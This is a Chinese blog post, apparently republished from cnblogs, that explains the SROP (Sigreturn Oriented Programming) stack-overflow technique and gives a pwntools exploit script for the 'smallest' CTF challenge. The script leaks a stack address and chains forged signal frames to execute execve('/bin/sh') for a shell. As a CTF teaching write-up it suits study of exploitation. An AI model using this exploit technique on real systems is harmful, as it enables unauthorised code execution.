博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
SROP
阅读量:5124 次
发布时间:2019-06-13

本文共 2297 字,大约阅读时间需要 7 分钟。


title: SROP

date: 2018-02-21 19:58:12
categories: 栈溢出
tags:
- CTF
- PWN
- 栈溢出


SROP全称为 Sigreturn Oriented Programming ,表明利用sigreturn这个函数实现ROP的技术。

参考资料

Signal机制

776576-20180223111410670-718348000.png

  1. 首先,当由中断或异常产生时,会发出一个信号,然后会送给相关进程,此时系统切换到内核模式。

    内核会执行do_signal()函数,最终会调用setup_frame()函数来设置用户栈。
    (在栈中保存了进入内核前所有寄存器的信息,还会push一个 signal function 的返回地址——sigruturn()的地址)

  2. 当这些准备工作完成后,就开始执行由用户指定的signal function了。

    (调用的函数)

  3. 当执行完后,因为返回地址被设置为sigreturn()系统调用的地址了,所以此时系统又会陷入内核执行sigreturn()系统调用。

    (恢复保存的寄存器的信息)

利用思路

由于程序中并没有sigreturn调用,所以我们得自己构造,正好这里有read函数调用,所以我们可以通过read函数读取的字节数来设置rax的值。

重要思路如下

通过控制read读取的字符数来设置RAX寄存器的值,从而执行sigreturn

通过syscall执行execve(“/bin/sh”,0,0)来获取shell。

示例

这里以360春秋杯中的smallest-pwn为例

#coding=utf8from pwn import *from LibcSearcher import *small = ELF('./smallest')# if args['REMOTE']:#     sh = remote('127.0.0.1', 7777)# else:sh = process('./smallest')context.arch = 'amd64'context.log_level = 'debug'syscall_ret = 0x00000000004000BEstart_addr = 0x00000000004000B0## set start addr three timespayload = p64(start_addr) * 3# gdb.attach(sh)sh.send(payload)## modify the return addr to start_addr+3## so that skip the xor rax,rax; then the rax=1## get stack addr# gdb.attach(sh)sh.send('\xb3')stack_addr = u64(sh.recv()[8:16])print "stack_addr = " + hex(stack_addr)log.success('leak stack addr :' + hex(stack_addr))## make the rsp point to stack_addr## the frame is read(0,stack_addr,0x400)sigframe = SigreturnFrame()sigframe.rax = constants.SYS_readprint "constants.SYS_read = " + hex(sigframe.rax)sigframe.rdi = 0sigframe.rsi = stack_addrsigframe.rdx = 0x400sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + 'a' * 8 + str(sigframe)# gdb.attach(sh)sh.send(payload)## set rax=15 and call sigreturnsigreturn = p64(syscall_ret) + 'A' * 7  # 覆盖上面的 'a'*8# gdb.attach(sh)sh.send(sigreturn)## call execv("/bin/sh",0,0)sigframe = SigreturnFrame()sigframe.rax = constants.SYS_execvesigframe.rdi = stack_addr + 0x120  # "/bin/sh" 's addrsigframe.rsi = 0x0sigframe.rdx = 0x0sigframe.rsp = stack_addrsigframe.rip = syscall_retframe_payload = p64(start_addr) + 'b' * 8 + str(sigframe)print len(frame_payload)payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'# gdb.attach(sh)sh.send(payload)# gdb.attach(sh)sh.send(sigreturn)sh.interactive()

转载于:https://www.cnblogs.com/amliaw4/p/8461273.html

你可能感兴趣的文章
myeclipse插件安装
查看>>
浙江省第十二届省赛 Beauty of Array(思维题)
查看>>
NOIP2013 提高组 Day1
查看>>
cocos2dx 3.x simpleAudioEngine 长音效被众多短音效打断问题
查看>>
存储(硬件方面的一些基本术语)
查看>>
观察者模式
查看>>
Weka中数据挖掘与机器学习系列之基本概念(三)
查看>>
Win磁盘MBR转换为GUID
查看>>
大家在做.NET B/S项目的时候多用什么设技术啊?
查看>>
Java SE和Java EE应用的性能调优
查看>>
Android设计模式系列--原型模式
查看>>
免费的论文查重网站
查看>>
C语言程序第一次作业
查看>>
leetcode-Sort List
查看>>
中文词频统计
查看>>
了解node.js
查看>>
想做移动开发,先看看别人怎么做
查看>>
Eclipse相关集锦
查看>>
虚拟化架构中小型机构通用虚拟化架构
查看>>
继承条款effecitve c++ 条款41-45
查看>>